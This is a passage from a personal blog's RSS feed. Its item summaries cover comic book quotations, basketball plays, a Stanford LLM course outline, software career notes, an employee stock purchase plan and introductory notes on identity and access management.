a child&amp;rsquo;s viewpoint. I can relate to John Lewis more at a young age because we
have shared experiences, but his were in a segregated environment whereas mine
weren&amp;rsquo;t.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;The thing is, when I was young, there wasn&amp;rsquo;t much of a civil rights movement.
I wanted to work at &lt;strong&gt;something,&lt;/strong&gt; but I grew up in rural Alabama. My parents
knew it would be &lt;strong&gt;dangerous&lt;/strong&gt; to make any waves. &amp;ldquo;Stay out of trouble. Don&amp;rsquo;t
get in white people&amp;rsquo;s way.&amp;rdquo; &lt;span class="citation-ref"&gt;&lt;a href="#March01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>3 point</title><link>https://www.curiosities.dev/sports/bball-plays/3-point/</link><pubDate>Sat, 30 Dec 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/sports/bball-plays/3-point/</guid><description>&lt;h2 id="quick-hammer-plays"&gt;Quick Hammer Plays&lt;/h2&gt;
&lt;p&gt;A &lt;dfn&gt;quick hitter&lt;/dfn&gt; is a play that uses a brief number of passes, cuts,
screens, or dribble actions to create one or more scoring opportunities. Their
typical simplicity might not be effective against a team with solid defense
fundamentals. &lt;span class="citation-ref"&gt;&lt;a href="#QuickHitter"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;A &lt;dfn&gt;hammer set&lt;/dfn&gt; occurs when a weak side player cuts to the nearby
corner, usually with the help of a screen. It is generally difficult for the
defense to productively guard the baseline attack on the strong side &lt;em&gt;and&lt;/em&gt; the
off-ball actions on the weak side. The weak side perimeter player is the real
target of the set play. &lt;span class="citation-ref"&gt;&lt;a href="#Hammer"&gt;&lt;/a&gt;&lt;/span&gt; &lt;span class="citation-ref"&gt;&lt;a href="#Hammer2021"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>[ToDo] CS 324: Large Language Models</title><link>https://www.curiosities.dev/todo/ai-and-machine-learning/cs324-large-language-models/</link><pubDate>Thu, 14 Dec 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/ai-and-machine-learning/cs324-large-language-models/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='CS324'&gt;
 
 Lectures | CS324&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Percy Liang; Tatsunori Hashimoto; Christopher Ré.
 
 
 
 
 
 &lt;a href="https://stanford-cs324.github.io/winter2022/lectures/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=stanford-cs324.github.io" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;stanford-cs324.github.io&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 2022.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Dec 14, 2023.
 
 
&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;✅ 
&lt;a href="https://www.curiosities.dev/computer-science/large-language-models/intro-to-llms/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 &lt;strong&gt;Introduction:&lt;/strong&gt; What is an LM? A brief history
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
. 
&lt;a href="https://www.curiosities.dev/computer-science/large-language-models/why-learn-about-llms/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Why does CS 324
exist?
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Capabilities:&lt;/strong&gt; What are the capabilities of GPT-3?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Harms I &amp;amp; II:&lt;/strong&gt; Performance disparities, social biases and stereotypes,
toxicity, and misinformation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data:&lt;/strong&gt; Data behind LLMs; documentation of datasets; data ecosystems.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security &amp;amp; Privacy:&lt;/strong&gt; Security implications of LLMs; data poisoning; privacy
risks and opportunities.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Legality:&lt;/strong&gt; The law on development and deployment of LLMs; distinction
between law and ethics.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modeling:&lt;/strong&gt; Tokenization; model architecture.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Training:&lt;/strong&gt; Objective functions; optimization algorithms.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Parallelism:&lt;/strong&gt; Key goal of hardware, systems, and for more than a decade,
the only way to get performance.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scaling Laws:&lt;/strong&gt; Motivating problem: hyper-parameter costs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Selective Architectures:&lt;/strong&gt; Raising the ceiling of how big the models can
get.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Adaptation:&lt;/strong&gt; Why adapt the LM? Probing; fine-tuning; lightweight
fine-tuning.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Environmental Impact:&lt;/strong&gt; What is the environmental impact of LLMs?&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>[ToDo] Career Growth as a Software Engineer</title><link>https://www.curiosities.dev/todo/computer-science/career-growth-swe/</link><pubDate>Sat, 28 Oct 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/career-growth-swe/</guid><description>&lt;h2 id="big-picture"&gt;Big Picture&lt;/h2&gt;
&lt;p&gt;What is a staff engineer? &lt;span class="citation-ref"&gt;&lt;a href="#Reilly2022"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;3 maps: getting perspective; navigating the terrain; where we&amp;rsquo;re going.
&lt;span class="citation-ref"&gt;&lt;a href="#Reilly2022"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Creating the big picture: vision &amp;amp; strategy; the approach; the writing;
the launch. &lt;span class="citation-ref"&gt;&lt;a href="#Reilly2022"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="execution"&gt;Execution&lt;/h2&gt;
&lt;p&gt;Finite time: resource constraints; choosing projects. &lt;span class="citation-ref"&gt;&lt;a href="#Reilly2022"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Leading big projects: the start of a project; driving the project. &lt;span class="citation-ref"&gt;&lt;a href="#Reilly2022"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Why have we stopped? Should it be moving? Are we lost? Have we arrived&amp;hellip;
somewhere? &lt;span class="citation-ref"&gt;&lt;a href="#Reilly2022"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="leveling-up"&gt;Leveling Up&lt;/h2&gt;
&lt;p&gt;You&amp;rsquo;re a role model now. Be competent; be responsible; remember the goal; look
ahead. &lt;span class="citation-ref"&gt;&lt;a href="#Reilly2022"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>The Graveyard Book (2008)</title><link>https://www.curiosities.dev/fiction/the-graveyard-book-2008/</link><pubDate>Sun, 08 Oct 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/the-graveyard-book-2008/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/graveyard-book-2008.webp');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='GraveyardBook'&gt;
 
 The Graveyard Book&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Neil Gaiman; P. Craig Russell.
 
 
 
 
 
 &lt;a href="https://www.neilgaiman.com/works/Comics/The&amp;#43;Graveyard&amp;#43;Book/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.neilgaiman.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.neilgaiman.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/comic/publisher/318748419/series/graveyard-book-graphic-novel/3269048362" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Oct 8, 2023.
 
 
&lt;/div&gt;

&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;The man Jack was tall. This man was taller. The man Jack wore dark clothes.
This man&amp;rsquo;s clothes were darker. People who noticed the man Jack when he was
about his business found themselves troubled. The man Jack looked up at the
stranger, and it was the man Jack who was troubled.&lt;/em&gt; &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#GraveyardBook-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Alien (2021 - 2023)</title><link>https://www.curiosities.dev/fiction/alien-2021-2023/</link><pubDate>Sat, 07 Oct 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/alien-2021-2023/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/alien-bloodlines-2021.jpg');
 }
&lt;/style&gt;

&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;GABRIEL. &lt;em&gt;The dream always begins in the dark. You think you know what that
means, but you don&amp;rsquo;t. You can&amp;rsquo;t. The dark I see is a truer shade than just
the absence of light. You can&amp;rsquo;t find it just by clapping your hands over your
eyes. Dark like this gets into you. Penetrates you. Tightens around your
skull. Presses into your eye sockets until something pops and even the
memory of light &amp;ndash; even the belief in light &amp;ndash; drains away.&lt;/em&gt; &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#AlienVol1-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Batman: One Bad Day (2022 - 2023)</title><link>https://www.curiosities.dev/fiction/batman-one-bad-day-2022-2023/</link><pubDate>Sat, 30 Sep 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/batman-one-bad-day-2022-2023/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/batman-one-bad-day-2022-2023.webp');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='OneBadDay'&gt;
 
 Batman: One Bad Day&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://www.hoopladigital.com/comic/publisher/199558152/series/batman-one-bad-day/16892550493" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://dc.fandom.com/wiki/Batman:_One_Bad_Day_Vol_1" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=dc.fandom.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;dc.fandom.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;BATMAN. &lt;em&gt;Mr. Tierney, despite the rumors in the press, I am not omnipotent.
I have an unfortunate weakness for mercy that has too often led to careless
mistakes and lingering pain. However, the moment you fired that gun at me, I
lost my taste for any&amp;hellip; mercy. So, as you pull that trigger, know that the
weapon is aimed at you. That you are making a careless mistake. That
your mistake will lead to&amp;hellip; lingering pain.&lt;/em&gt; &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#OneBadDayRiddler"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Superman: Space Age (2022 - 2023)</title><link>https://www.curiosities.dev/fiction/superman-space-age-2022-2023/</link><pubDate>Sat, 30 Sep 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/superman-space-age-2022-2023/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/superman-space-age.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='' cited-by-count='' is-main=''&gt;
 &lt;cite id='SpaceAge'&gt;
 
 Superman: Space Age&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Mark Russell; Michael Allred; Laura Allred.
 
 
 
 
 
 
 
 
 2022.
 
 
 
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 &lt;span class="fa fa-star"&gt;&lt;/span&gt;
 
&lt;/div&gt;




&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;What makes a Superman story in 2023? What can&amp;rsquo;t Superman beat? Nature? Disease?&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="societal-critique"&gt;Societal Critique&lt;/h2&gt;
&lt;p&gt;CLARK. &lt;em&gt;Bored with how little they actually know, people tend to fill in the
blanks with beliefs that make the world a more exciting place for them. What
they lack in knowledge, they make up for with conviction.&lt;/em&gt; &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#SpaceAge-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Employee Stock Purchase Plan (ESPP)</title><link>https://www.curiosities.dev/business/employee-stock-purchase-plans/</link><pubDate>Sat, 19 Aug 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/employee-stock-purchase-plans/</guid><description>&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;MSFT offers an ESPP, in which employees can buy MSFT stock at a 10% discount.
There is a cap &lt;del&gt;to the number of shares per employee per year&lt;/del&gt; in that one can
do at most 15% of one&amp;rsquo;s paycheck.&lt;/p&gt;
&lt;p&gt;Selling the ESPP stock within the same year seems unwise because of short-term
capital gains tax. That said, holding them increases exposure to MSFT (if MSFT
does poorly, that affects one&amp;rsquo;s bonuses, and sometimes livelihood).&lt;/p&gt;</description></item><item><title>Nightmare Country (The Sandman Universe)</title><link>https://www.curiosities.dev/fiction/nightmare-country-2022/</link><pubDate>Sun, 06 Aug 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/nightmare-country-2022/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/sandman-nightmare-country.webp');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='NightmareCountry'&gt;
 
 The Sandman Universe: Nightmare Country&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 James Tynion IV; Lisandro Estherren; Yanick Paquette; Andrea Sorrentino.
 
 
 
 
 
 &lt;a href="https://www.dc.com/graphic-novels/the-sandman-universe-nightmare-country-2022/the-sandman-universe-nightmare-country" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/title/15813196" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://sandman.fandom.com/wiki/Nightmare_Country" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=sandman.fandom.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;sandman.fandom.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 2022.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 &lt;span class="fa fa-star"&gt;&lt;/span&gt;
 
&lt;/div&gt;




&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Tynion IV won Eisner&amp;rsquo;s &amp;ldquo;Best Writer&amp;rdquo; award for 2023. &lt;span class="citation-ref"&gt;&lt;a href="#Eisner2023"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;MR. ECSTASY. &lt;em&gt;Dreams are a trap. They comfort and they coddle. They comfort
and they coddle. They give false hope, and false understanding. They are
little fictions that satisfy a man&amp;rsquo;s hunger for meaning, without providing
anything he can hold in his hands. What matters is chasing the real.
It&amp;rsquo;s what you can touch. What you can feel. Allow me to demonstrate.&lt;/em&gt; &lt;br/&gt;
&lt;span class="citation-ref"&gt;&lt;a href="#NightmareCountry-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Arca (2023)</title><link>https://www.curiosities.dev/fiction/arca-2023/</link><pubDate>Sun, 30 Jul 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/arca-2023/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/arca-2023.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='' cited-by-count='' is-main=''&gt;
 &lt;cite id='Arca'&gt;
 
 Arca&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Van Jensen; Jesse Lonergan.
 
 
 
 
 
 
 
 
 2023.
 
 
 
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 &lt;span class="fa fa-star"&gt;&lt;/span&gt;
 
&lt;/div&gt;

&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;ARCA. &lt;em&gt;Good morning, children. It is time to awaken. It is time to serve.
Another day is here! A day to take joy in your work. Remember, the role of each
settler is essential to the mission. Because there is only one way that we will
reach Eden. And that is&amp;hellip;&lt;/em&gt; &lt;br/&gt;
CHILDREN. &lt;em&gt;&amp;hellip;TOGETHER!&lt;/em&gt; &lt;br /&gt;
&lt;span class="citation-ref"&gt;&lt;a href="#Arca"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Star Trek: Year Five (2019 - 2021)</title><link>https://www.curiosities.dev/fiction/star-trek-year-5-2019-2021/</link><pubDate>Sun, 04 Jun 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/star-trek-year-5-2019-2021/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='StarTrekYearFive'&gt;
 
 Star Trek: Year Five&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Brandon Easton; Jody Houser; Jim McCann; Collin Kelly; Jackson Lanzing.
 
 
 
 
 
 &lt;a href="https://idwpublishing.com/collections/year-five" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=idwpublishing.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;idwpublishing.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/comic/publisher/1332883457/series/star-trek-year-five/5709994336" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://memory-beta.fandom.com/wiki/Year_Five" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=memory-beta.fandom.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;memory-beta.fandom.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 2019.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;style&gt;
 body {
 background-image: url('/img/fiction/star-trek-year-5-2019-2021.webp');
 }
&lt;/style&gt;

&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;SPOCK. &lt;em&gt;They Lloyd Zeta hypergiant is the single most massive stellar object
ever detected by Starfleet. And according to calculations by both the Vulcan
Science Academy and Starfleet, within the next five minutes&amp;hellip; it will
explode, emitting a high-yield gamma ray burst that will effectively
sterilize this entire sector. While this system is uninhabited, mass extinctions
will occur on any habitable plants within a ten thousand light year range of
the burst.&lt;/em&gt; &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#StarTrekYearFive-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Supergirl: Woman of Tomorrow (2021 - 2022)</title><link>https://www.curiosities.dev/fiction/supergirl-woman-of-tomorrow-2021-2022/</link><pubDate>Mon, 29 May 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/supergirl-woman-of-tomorrow-2021-2022/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Supergirl2021'&gt;
 
 Supergirl: Woman of Tomorrow&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Tom King; Bilquis Evely; Matheus Lopes.
 
 
 
 
 
 &lt;a href="https://www.dc.com/graphic-novels/supergirl-woman-of-tomorrow-2021/supergirl-woman-of-tomorrow" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/title/15254841" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://dc.fandom.com/wiki/Supergirl:_Woman_of_Tomorrow_Vol_1" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=dc.fandom.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;dc.fandom.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 2021.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 
 
&lt;/div&gt;

&lt;style&gt;
 body {
 background-image: url('/img/fiction/supergirl-woman-of-tomorrow-2021-2022.webp');
 }
&lt;/style&gt;

&lt;h2 id="justice"&gt;Justice&lt;/h2&gt;
&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/justice-motif"&gt;#justice-motif&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;RUTHYE. &lt;em&gt;If a child, which I was at the time despite my many protests to the
contrary, could claim the weapon with a simple tug&amp;hellip; what was it that prevented
Krem from rescuing it? I had meant to ask him, and even had the question on my
tongue when Supergirl and I eventually found the filthy man and he was
begging for his life with tears in his eyes. But Supergirl delivered the fatal
blow and Krem fell dead to the ground before I could get it out.&lt;/em&gt; &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#Supergirl2021-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Identity Access Management</title><link>https://www.curiosities.dev/computer-science/cos432-information-security/06-authenticating-people/identity-access-management/</link><pubDate>Sun, 28 May 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/cos432-information-security/06-authenticating-people/identity-access-management/</guid><description>&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;(Based on the table of contents in 
&lt;a href="https://auth0.com/intro-to-iam"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 https://auth0.com/intro-to-iam
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
)&lt;/p&gt;
&lt;p&gt;Authentication refers to granting the user (or an application acting on behalf
of a user) credentials to access a given resource. I don&amp;rsquo;t know the difference
between SAML, OAuth, and OpenID. I&amp;rsquo;ve seen OAuth used when granting apps access
to other apps, e.g., granting Netlify and OAuth token for accessing a Github
repository.&lt;/p&gt;
&lt;p&gt;Of the authentication methods, I&amp;rsquo;m familiar with Single-Sign On (SSO), and
Multi-Factor Authentication (MFA). I don&amp;rsquo;t know about Passwordless
Authentication. SSO occurs when say signing into accounts.microsoft.com grants
you access to office.microsoft.com, tasks.microsoft.com, etc.; presumably the
SSO token should work on *.bing.com given that microsoft.com and bing.com are
owned by the same entity? Not sure how cross-domain SSO works though. MFA refers
to requiring a second form of authentication, e.g., entering a password, and
also validating a prompt sent to your phone; the idea is that it&amp;rsquo;s less likely
for the attacker to have access to both authentication methods. Passwordless
seems like it&amp;rsquo;d cover alternate methods like biometrics that are available on
newer computers and phones.&lt;/p&gt;</description></item><item><title>East of West (2013 - 2019)</title><link>https://www.curiosities.dev/fiction/hickman-east-of-west/</link><pubDate>Sat, 27 May 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/hickman-east-of-west/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Hickman2013'&gt;
 
 East of West&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Jonathan Hickman; Nick Dragotta.
 
 
 
 
 
 &lt;a href="https://imagecomics.com/comics/series/east-of-west" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=imagecomics.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;imagecomics.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/comic/publisher/1428524764/series/east-of-west/1459186395" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://imagecomics.fandom.com/wiki/East_of_West_Vol_1" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=imagecomics.fandom.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
